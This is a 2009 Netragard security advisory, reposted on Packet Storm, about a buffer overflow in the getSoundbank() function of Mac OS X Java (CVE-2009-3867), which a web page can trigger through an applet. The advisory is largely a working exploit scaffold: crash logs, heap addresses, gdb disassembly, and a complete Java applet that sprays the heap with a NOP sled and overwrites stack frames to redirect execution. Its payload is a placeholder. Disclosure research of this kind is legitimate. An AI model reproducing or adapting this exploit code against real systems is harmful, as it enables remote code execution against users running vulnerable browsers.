Lucene search

K
packetstormAdriel T. DesautelsPACKETSTORM:84499
HistoryDec 30, 2009 - 12:00 a.m.

Netragard Security Advisory 2009-12-19

2009-12-3000:00:00
Adriel T. Desautels
packetstormsecurity.com
47

0.943 High

EPSS

Percentile

99.0%

`[Advisory Summary]  
-----------------------------------------------------------------------  
Advisory Author : Adriel T. Desautels  
Researcher : Kevin Finisterre  
Advisory ID : NETRAGARD-20091219  
Product Name : Mac OS X Java Runtime  
Product Version : < Java for Mac OS X 10.6 Update 1  
Vendor Name : http://www.apple.com, http://www.sun.com  
Type of Vulnerability : Buffer Overflow  
Impact : Arbitrary Code Execution  
Vendor Notified : Yes  
Patch Released : http://support.apple.com/kb/HT3969  
Discovery Date : 11/13/2009  
  
[POSTING NOTICE]  
-----------------------------------------------------------------------  
If you intend to post this advisory on your web-site you must provide  
a clickable link back to http://www.netragard.com. The contents of  
this advisory may be updated without notice.  
  
[Product Description]  
-----------------------------------------------------------------------  
Mac OS X is the only major consumer operating system that comes complete  
with a fully configured and ready-to-use Java runtime and development  
environment. Professional Java developers are increasingly turning to  
the feature-rich Mac OS X as the operating system of choice for both  
Mac-based and cross-platform Java development projects. Mac OS X   
includes  
the full version of J2SE 1.5, pre-installed with the Java Development  
Kit (JDK) and the HotSpot virtual machine (VM), so you don't have to  
download, install, or configure anything.  
  
Deploying Java applications on Mac OS X takes advantage of many built-in  
features, including 64-bit support, resolution independence, automatic  
support of multiprocessor hardware, native support for the Java  
Accessibility API, and the native Aqua look and feel. As a result,  
Java applications on Mac OS X look and perform like native applications  
on Mac OS X.  
  
  
[Technical Summary]  
-----------------------------------------------------------------------  
On November 4th, 2009 ZDI-09-076 was released and subsequently credited  
to 'Anonymous'. Given the historic track record with regards to lagging  
behind 3rd party "coordinated" disclosures we decided to validate  
wether or not OSX was vulnerable in its current state. More importantly  
we wanted to validate that the vulnerable classes were reachable via  
standard web browser.  
  
The ZDI release contained limited information but that didn't prevent  
us from creating a working Proof of Concept ("PoC") for this issue.  
  
As previously mentioned, the prime reason that we decided to look into   
this  
vulnerability was because we suspected that it was possible to remotely  
trigger and exploit the risk via the Safari Web Browser. We were right.  
  
The easiest way to validate this was to find an example applet that used  
the getSoundbank() function and then to modify  
it.  
  
A quick glance at the Sun manual page gave us a hint as to how to  
use the function.  
  
http://java.sun.com/j2se/1.3/docs/api/javax/sound/midi/MidiSystem.html#getSoundbank(java.net.URL)  
  
public static Soundbank getSoundbank(URL url)  
throws InvalidMidiDataException, IOException  
Constructs a Soundbank by reading it from the specified URL.  
The URL must point to a valid MIDI soundbank file.  
  
Parameters:  
url - the source of the sound bank data  
  
Returns:  
the sound bank  
  
Throws:  
InvalidMidiDataException - if the URL does not point to valid MIDI   
soundbank data recognized by the system  
IOException - if an I/O error occurred when loading the soundbank  
  
We used a google query to find an example:  
http://www.google.com/search?hl=en&source=hp&q=javax.sound.midi+getSoundbank+applet&aq=f&oq=&aqi=  
  
Luckily the example was an applet which eliminates the question of  
accessibility to the vulnerability via applet tag.  
  
http://music.columbia.edu/pipermail/jmsl/2004-November/000555.html  
  
If you modify the above code example we can trigger the bug and get  
and some additional information about it.  
  
All of the testing below was done with appletviewer and the following  
html page, coupled with our compiled proof of concept class.  
  
$ cat index.html  
<title> getSoundBank pwn </title>  
</head><body>  
  
<applet code="test.class" width="150" height="25">  
</applet>  
  
  
[Technical Details]  
-----------------------------------------------------------------------  
http://www.zerodayinitiative.com/advisories/ZDI-09-076/ tells us there  
is a 'vulnerability [that] allows remote attackers to execute arbitrary  
code on vulnerable installations of Sun Microsystems Java.'  
  
ZDI also states that 'The specific flaw exists in the parsing of  
long file:// URL arguments to the getSoundbank() function.' and that  
'Exploitation of this vulnerability can lead to system compromise under  
the credentials of the currently logged in user.'  
  
The code shown below in the Proof of Concept section allows us to   
validate  
the statements made by ZDI by triggering the bug and subsequently   
crashing  
the JVM.  
  
When the JVM crashes it leaves a log behind in the /Library/Logs/Java  
folder that provides useful information.  
  
$ ls /Library/Logs/Java/  
JavaNativeCrash_pid1815.crash.log  
  
One of the important things recorded to the log is the address of  
the JVM's heap. Since a heap spray is used to place shellcode at  
a usable address this is quite useful.  
  
$ cat /Library/Logs/Java/JavaNativeCrash_pid1815.crash.log  
  
Java information:  
Version: Java HotSpot(TM) Client VM (1.5.0_13-119 mixed mode, sharing)  
Virtual Machine version: Java HotSpot(TM) Client VM (1.5.0_13-119) for \  
macosx-x86, built on Sep 28 2007 23:59:21 by root with gcc 4.0.1   
(Apple \  
Inc. build 5465)  
  
Exception type: Bus Error (0xa) at pc=0x1755c81b  
  
Current thread (0x0100e010): JavaThread "thread applet-test.class"\  
[_thread_in_native, id=9097216]  
  
Stack: [0xb0d97000,0xb0e17000)  
Java frames: (J=compiled Java code, j=interpreted, Vv=VM code)  
j com.sun.media.sound.HeadspaceSoundbank.nOpenResource(Ljava/lang/   
String;)J+0  
j com.sun.media.sound.HeadspaceSoundbank.initialize(Ljava/lang/   
String;)V+7  
j com.sun.media.sound.HeadspaceSoundbank.<init>(Ljava/net/URL;)V+89  
j com.sun.media.sound.HsbParser.getSoundbank(Ljava/net/URL;)Ljavax/   
sound/midi/Soundbank;+5  
j javax.sound.midi.MidiSystem.getSoundbank(Ljava/net/URL;)Ljavax/   
sound/midi/Soundbank;+36  
j test.init()V+339  
j sun.applet.AppletPanel.run()V+197  
j java.lang.Thread.run()V+11  
v ~StubRoutines::call_stub  
Java Threads: ( => current thread )  
0x01011980 JavaThread "Java Sound Event Dispatcher" daemon   
[_thread_blocked, id=9269760]  
0x01011790 JavaThread "Java Sound Event Dispatcher" daemon   
[_thread_blocked, id=9266176]  
0x01011310 JavaThread "AWT-EventQueue-1" [_thread_blocked,   
id=9249792]  
0x01001440 JavaThread "DestroyJavaVM" [_thread_blocked,   
id=-1333784576]  
0x0100e210 JavaThread "AWT-EventQueue-0" [_thread_blocked,   
id=9107968]  
=>0x0100e010 JavaThread "thread applet-test.class" [_thread_in_native,   
id=9097216]  
0x0100cb90 JavaThread "Java2D Disposer" daemon [_thread_blocked,   
id=9035264]  
0x0100bda0 JavaThread "AWT-Shutdown" [_thread_blocked, id=8834048]  
0x0100b900 JavaThread "AWT-AppKit" daemon [_thread_in_native,   
id=-1607766176]  
0x01009050 JavaThread "Low Memory Detector" daemon   
[_thread_blocked, id=8411136]  
0x01008580 JavaThread "CompilerThread0" daemon [_thread_blocked,   
id=8506880]  
0x01008120 JavaThread "Signal Dispatcher" daemon [_thread_blocked,   
id=8503296]  
0x01007810 JavaThread "Finalizer" daemon [_thread_blocked,   
id=8483840]  
0x01007570 JavaThread "Reference Handler" daemon [_thread_blocked,   
id=8480256]  
Other Threads:  
0x01006cc0 VMThread [id=8476672]  
0x01009c50 WatcherThread [id=8414720]  
  
VM state:not at safepoint (normal execution)  
VM Mutex/Monitor currently owned by a thread: None  
  
Heap  
def new generation total 4544K, used 3238K [0x25580000,   
0x25a60000, 0x25a60000)  
eden space 4096K, 79% used [0x25580000, 0x258a9b30, 0x25980000)  
from space 448K, 0% used [0x259f0000, 0x259f0000, 0x25a60000)  
to space 448K, 0% used [0x25980000, 0x25980000, 0x259f0000)  
tenured generation total 60544K, used 60028K [0x25a60000,   
0x29580000, 0x29580000)  
the space 60544K, 99% used [0x25a60000, 0x294ff048, 0x294ff200,   
0x29580000)  
compacting perm gen total 8192K, used 1093K [0x29580000,   
0x29d80000, 0x2d580000)  
the space 8192K, 13% used [0x29580000, 0x29691698, 0x29691800,   
0x29d80000)  
ro space 8192K, 63% used [0x2d580000, 0x2da96c48, 0x2da96e00,   
0x2dd80000)  
rw space 12288K, 43% used [0x2dd80000, 0x2e2af088, 0x2e2af200,   
0x2e980000)  
  
Virtual Machine arguments:  
JVM args: -Dapplication.home=/System/Library/Frameworks/   
JavaVM.framework/Versions/1.5.0/Home  
Java command: sun.applet.Main /Users/hostile/Desktop/index.html  
launcher type: SUN_STANDARD  
  
Note: The heap within appletviewer is located at '0x25580000'  
  
When triggered with Safari the Heap location is slightly different  
  
$ cat /Library/Logs/Java/JavaNativeCrash_pid1815.crash.log  
...  
Heap  
def new generation total 6848K, used 5542K [0x1a270000,   
0x1a9d0000, 0x1a9d0000)  
...  
  
In that particular trace the Safari Java heap was located at 0x1a270000.  
  
The PoC provided below instructs appletviewer to land in a nopsled.   
Futher  
research will yield a functional exploit. In essence this code sprays   
the  
heap in order to place attacker controlled code at the proper address   
range  
within the heap. With several stack frames under control it is   
possible to  
control the flow of execution. Control of an eax address is what leads   
to  
final code execution.  
  
0x1891a81b <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource   
+108>:\  
call *0x2a8(%eax)  
  
  
[Proof Of Concept]  
-----------------------------------------------------------------------  
  
/*  
  
We should only need safe shellcode at this point.  
  
Invalid memory access of location 00000000 eip=256823b6  
  
Program received signal EXC_BAD_ACCESS, Could not access memory.  
Reason: KERN_PROTECTION_FAILURE at address: 0x00000000  
[Switching to process 561 thread 0x15107]  
0x256823b6 in ?? ()  
(gdb) bt  
#0 0x256823b6 in ?? ()  
#1 0x188fd821 in   
Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource ()  
#2 0x25582126 in ?? ()  
Previous frame inner to this frame (gdb could not unwind past this   
frame)  
  
(gdb) x/6x 0x256823b6-12  
0x256823aa: 0x90909090 0x90909090 0x90909090 0x00333031  
0x256823ba: 0x00330032 0x00010033  
  
We only crash because we ran out of code to execute...  
(gdb) x/i $eip  
0x256823b6: xor %esi,(%eax)  
(gdb) i r $esi $eax  
esi 0x0 0  
eax 0x0 0  
  
notice that frame 1's eip of 0x188fd821 is AFTER the call to eax at   
0x1891a81b  
  
(gdb) x/10i$eip  
0x1891a803 <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource   
+84>: mov (%edx),%eax  
0x1891a805 <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource   
+86>: mov 0x10(%ebp),%edx  
0x1891a808 <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource   
+89>: mov %edi,0x8(%esp)  
0x1891a80c <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource   
+93>: mov %esi,%edi  
0x1891a80e <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource   
+95>: sar $0x1f,%edi  
0x1891a811 <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource   
+98>: mov %edx,0x4(%esp)  
0x1891a815 <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource   
+102>: mov 0x8(%ebp),%edx  
0x1891a818 <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource   
+105>: mov %edx,(%esp)  
0x1891a81b <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource   
+108>: call *0x2a8(%eax)  
0x1891a821 <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource   
+114>: add $0x450,%esp  
  
*/  
import javax.sound.midi.*;  
import java.io.*;  
import java.net.*;  
  
import java.awt.Graphics;  
public class test extends java.applet.Applet  
{  
public static Synthesizer synth;  
Soundbank soundbank;  
  
public void init()  
{  
String fName = repeat('/',1080); // OSX Leopard - 10.5 Build 9A581   
Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_13-   
b05-237)  
  
// heap sprayed info starts at 0x25580000+12 but keep in mind we   
need to be fairly ascii safe.  
// 0x20 is not usable  
byte[] frame = {  
(byte)0x22, (byte)0x21, (byte)0x58, (byte)0x25, // frame 1 - ebp  
(byte)0x26, (byte)0x21, (byte)0x58, (byte)0x25, // frame 1 - eip  
(byte)0x22, (byte)0x21, (byte)0x58, (byte)0x25 // frame 0 - edx  
};  
  
String mal = new String(frame);  
  
//System.out.println(mal);  
  
fName = "file://" + fName + mal;  
try  
{  
synth = MidiSystem.getSynthesizer();  
synth.open();  
System.out.println("Spray heap\n");  
  
String shellcode = "\u41424344" + repeat('\u9090',1000) +   
"\u30313233"; // This is just a nop sled with some heading and   
trailing markers.  
int mb = 1024;  
  
// Sotirov / Dowd foo follows.  
// http://taossa.com/archive/bh08sotirovdowd.pdf  
  
// Limit the shellcode length to 100KB  
if (shellcode.length() > 100*1024)  
{  
throw new RuntimeException();  
}  
// Limit the heap spray size to 1GB, even though in practice the   
Java  
// heap for an applet is limited to 100MB  
if (mb > 1024)  
{  
throw new RuntimeException();  
}  
// Array of strings containing shellcode  
String[] mem = new String[1024];  
  
// A buffer for the nop slide and shellcode  
StringBuffer buffer = new StringBuffer(1024*1024/2);  
  
// Each string takes up exactly 1MB of space  
//  
// header nop slide shellcode NULL  
// 12 bytes 1MB-12-2-x x bytes 2 bytes  
  
// Build padding up to the first exception. We will need to set   
the eax address after this padding  
// First usable addresses begin at 0x25580000+0x2121. Unfortunately   
0x20 in our addresses caused issues.   
// 0x2121 is 8481 in decimal, we subtract a few bytes for munging.  
  
for (int i = 1; i < (8481/2)-4; i++)  
{  
buffer.append('\u4848');  
}  
  
// (gdb) x/10a 0x25582122-4  
// 0x2558211e: 0x48484848 0x20202020 0x20202020 0x20202020  
// 0x2558212e: 0x20202020 0x20202020 0x20202020 0x20202020  
// 0x2558213e: 0x20202020 0x20202020  
  
// Set the call address  
// 0x188fd81b   
<Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource+108>:   
call *0x2a8(%eax)  
  
buffer.append('\u2122');  
buffer.append('\u2558');  
  
// 0x2a8 is 680 in decimal, once again we need filler for making   
this a usable address location.  
for (int i = 1; i < (680/2)-1; i++)  
{  
buffer.append('\u4848');  
}  
  
// where do we wanna go? 0x25582525 is right in the middle of the   
following nop sled  
// (gdb) x/5x 0x25582525  
// 0x25582525: 0x90909090 0x90909090 0x90909090 0x90909090  
// 0x25582535: 0x90909090  
  
buffer.append('\u2525');  
buffer.append('\u2558');   
  
// We are gonna place the shellcode after this so simply fill   
in remaining space with nops!  
for (int i = 1; i < (1024*1024-12)/2-shellcode.length(); i++)  
{  
buffer.append('\u9090');  
}  
  
// Append the shellcode  
buffer.append(shellcode);  
  
// Run the garbage collector  
Runtime.getRuntime().gc();  
  
// Fill the heap with copies of the string  
try  
{  
for (int i=0; i<mb; i++)  
{  
mem[i] = buffer.toString();  
}  
}  
catch (OutOfMemoryError err)  
{  
// do nothing  
}  
  
// Trigger the stack overflow.  
synth.loadAllInstruments(MidiSystem.getSoundbank(new URL(fName)));  
}  
catch(Exception e)  
{  
System.out.println(e);  
}  
}  
public void paint(Graphics g)  
{  
g.drawString("Hello pwned!", 50, 25);  
}  
public static String repeat(char c,int i)  
{  
String tst = "";  
for(int j = 0; j < i; j++)  
{  
tst = tst+c;  
}  
return tst;  
}  
}  
  
[Fix]  
-----------------------------------------------------------------------  
http://support.apple.com/kb/HT3969  
http://java.sun.com/javase/6/webnotes/ReleaseNotes.html  
http://sunsolve.sun.com/search/document.do?assetkey=1-66-270474-1  
  
[Vendor Status]  
-----------------------------------------------------------------------  
Vendor Notified and issue has been Patched  
  
[Vendor Comments]  
-----------------------------------------------------------------------  
Java for Mac OS X 10.6 Update 1 is now available and addresses the  
following:  
  
CVE-ID: CVE-2009-3869, CVE-2009-3871, CVE-2009-3875, CVE-2009-3874,  
CVE-2009-3728, CVE-2009-3872, CVE-2009-3868, CVE-2009-3867,   
CVE-2009-3884,  
CVE-2009-3873, CVE-2009-3877, CVE-2009-3865, CVE-2009-3866  
  
Available for: Mac OS X v10.6.2 and later, Mac OS X Server v10.6.2 and   
later  
  
Impact: Multiple vulnerabilities in Java 1.6.0_15  
  
Description: Multiple vulnerabilities exist in Java 1.6.0_15, the most  
serious of which may allow an untrusted Java applet to obtain elevated  
privileges.  
  
Visiting a web page containing a maliciously crafted untrusted Java   
applet  
may lead to arbitrary code execution with the privileges of the   
current user.  
These issues are addressed by updating to Java version 1.6.0_17. Further  
information is available via the Sun Java website Credit to Kevin   
Finisterre  
of Netragard for reporting CVE-2009-3867 to Apple.  
  
[Why]  
-----------------------------------------------------------------------  
We are often asked "why do you do what you do?". The answer is that  
our research helps to educate people about risks that affect them that  
might otherwise go unnoticed. Often times our research ends up plugging  
holes that might end up resulting in a successful compromise if left  
unchecked. Want proof? Take a look at some of the comments taken  
from the article below:  
  
http://www.theregister.co.uk/2009/12/04/mac_windows_java_attack/  
  
Comment 1: Ben Lambert writes  
-----------------------------  
"Oh that's just wonderful. So I can't update my  
machines to a newer Java version because it breaks my critical app..  
..or i can get exploited. I love my job."  
  
Comment 2: windywoo wrote  
-------------------------  
"This article was the first I heard about the patch so I checked  
Software Update and there it was."  
  
  
[Disclaimer]  
----------------------http://www.netragard.com-------------------------  
Netragard, L.L.C. assumes no liability for the use of the information  
provided in this advisory. This advisory was released in an effort to  
help the I.T. community protect themselves against a potentially  
dangerous security hole. This advisory is not an attempt to solicit  
business.  
  
<a href="http://www.netragard.com>  
http://www.netragard.com  
</a>  
  
  
  
  
  
`